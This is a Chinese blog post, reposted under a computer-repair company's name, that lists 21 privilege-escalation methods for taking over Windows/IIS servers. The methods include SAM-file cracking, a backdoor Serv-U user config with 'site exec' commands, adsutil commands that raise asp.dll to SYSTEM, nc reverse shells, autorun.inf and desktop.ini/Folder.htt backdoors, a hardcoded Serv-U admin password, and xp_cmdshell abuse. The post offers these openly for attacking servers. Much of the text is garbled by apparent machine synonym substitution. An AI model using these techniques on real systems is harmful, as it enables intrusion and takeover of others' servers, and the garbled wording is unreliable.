21种提权方法
以下全部是本人提权时候的总结 许多方法至今没有时机试验也没有乐成，但是我是简直瞥见他人乐成过的。本人鄙人，除了第一种方法本身研究的，其他的都是他人的经验总结。盼望对朋友有帮助！
1.radmin连接法
条件是你权限够大，对方连防火墙也没有。封装个radmin上去，运行，开对方端口，然后radmin上去。本人历来米乐成过。，端口到是给对方打开了。
2.paanywhere
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 这里下他的GIF文件，在本地安置pcanywhere上去
3.SAM破解
C:\WINNT\system32\config\ 下他的SAM 破解之
4.SU暗码攫取
C:\Documents and Settings\All Users\「开端」菜单\程序\
援用：Serv-U，然后本地查看属性，知道路径后，看能否跳转
进去后，如果有权限修正ServUDaemon.ini，加个用户上去，暗码为空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有最高权限，然后我们就可以ftp上去 quote site exec xxx 来提拔权限
5.c:\winnt\system32\inetsrv\data\
援用：就是这个目录，异样是erveryone 完全控制，我们所要做的就是把提拔权限的东西上传上去，然后执行
6.SU溢出提权
这个网上教程N多 不详细解说了
7.运行Csript
援用：运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提拔权限
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件：idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll参加特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的地位不肯定一样)
我们如今加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了
8.剧本提权
c:\Documents and Settings\All Users\「开端」菜单\程序\启动"写入bat，vbs
9.VNC
这个是小花的文章 HOHO
默认情况下VNC暗码存放在HKCU\Software\ORL\WinVNC3\Password
我们可以用vncx4
破解它，vncx4使用很简略，只需在命令行下输入
c:\>vncx4 -W
然后次序输入下面的每一个十六进制数据，没输完一个回车一次就行了。
10.NC提权
给对方来个NC 但是条件是你要有充足的运行权限 然后把它反弹到本身的电脑上 HOHO OK了
11.社会工程学之GUEST提权
很简略 查看他的拥护 一样平常来说 看到帐户当前 暗码只管即便猜 大概用户暗码一样 也大概是他QQ号 邮箱号 手机号 只管即便看看 HOHO
12.IPC空连接
如果对方真比较呆子的话 扫他的IPC 如果运气好照旧弱口令
13.更换办事
这个不用说了吧？小我私家感觉相称复杂
14.autorun .inf
autorun=xxx.exe 这个=背面本身写 HOHO 加上只读、体系、隐蔽属性 传到哪个盘都可以的 不信赖他不运行
15.desktop.ini与Folder.htt
援用：起首，我们如今本地建立一个文件夹，名字不紧张，进入它，在空白处点右键，选择“自界说文件夹”（xp宛如是不行的）不停下点，默认即可。完成后，你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件，（如果你看不到，先取消“隐蔽受保护的操作体系文件”）然后我们在Folder setting目录下找到Folder.htt文件，记事本打开，在恣意中央参加以下代码： 然后你将你的后门文件放在Folder setting目录下，把此目录与desktop.ini一同上传到对方恣意一个目录下，就可以了，只需等办理员浏览了此目录，它就执行了我们的后门
16.su笼罩提权
本地安置个su，将你本身的ServUDaemon.ini文件用从他那下载上去的ServUDaemon.ini 笼罩失，重起一下Serv-U，于是你下面的所有配置都与他的一模一样了
17.SU转发轫口
43958这个是 Serv －U 的本地办理端口。FPIPE.exe上传他，执行命令： Fpipe –v –l 3333 –r 43958 127.0.0.1 意思是将4444端口映射到43958端口上。 然后就可以在本地安置一个Serv-u，新建一个办事器，IP填对方IP，帐号为LocalAdministrator 暗码为#1@$ak#.1k;0@p 连接上后你就可以办理他的Serv-u了
18.SQL帐户暗码泄漏
如果对方开了MSSQL办事器，我们就可以通过用SQL连接器加办理员帐号（可以从他的连接数据库的ASP文件中看到），由于MSSQL是默认的SYSTEM权限。
援用：对方没有删除xp_cmdshell 方法：使用Sqlexec.exe，在host 一栏中填入对方IP，User与Pass中填入你所得到的用户名与暗码。format选择xp_cmdshell”%s”即可。然后点击connect，连接上后就可以在CMD一栏中输入你想要的CMD命令了
19.asp.dll
援用：由于asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的地位不肯定相同)
我们如今加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
好了,如今你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,细致,用法中的get和set,一个是查看一个是设置.还有就是你运行下面的你要到C:\Inetpub\AdminScripts>这个目录下.
那么如果你是一个办理员,你的机子被人用这招把asp提拔为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,笼罩失刚才的那些东东.
20.Magic Winmail
前提是你要有个webshell 援用：http://www.eviloctal.com/forum/read.php?tid=3587这里去看吧
21.DBO……
其实 提拔权限的方式许多的 就看大家怎样使用了 HOHO 加油吧 将办事器控制究竟！
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明：原创作品，允许转载，转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
|
评论加载中...
|
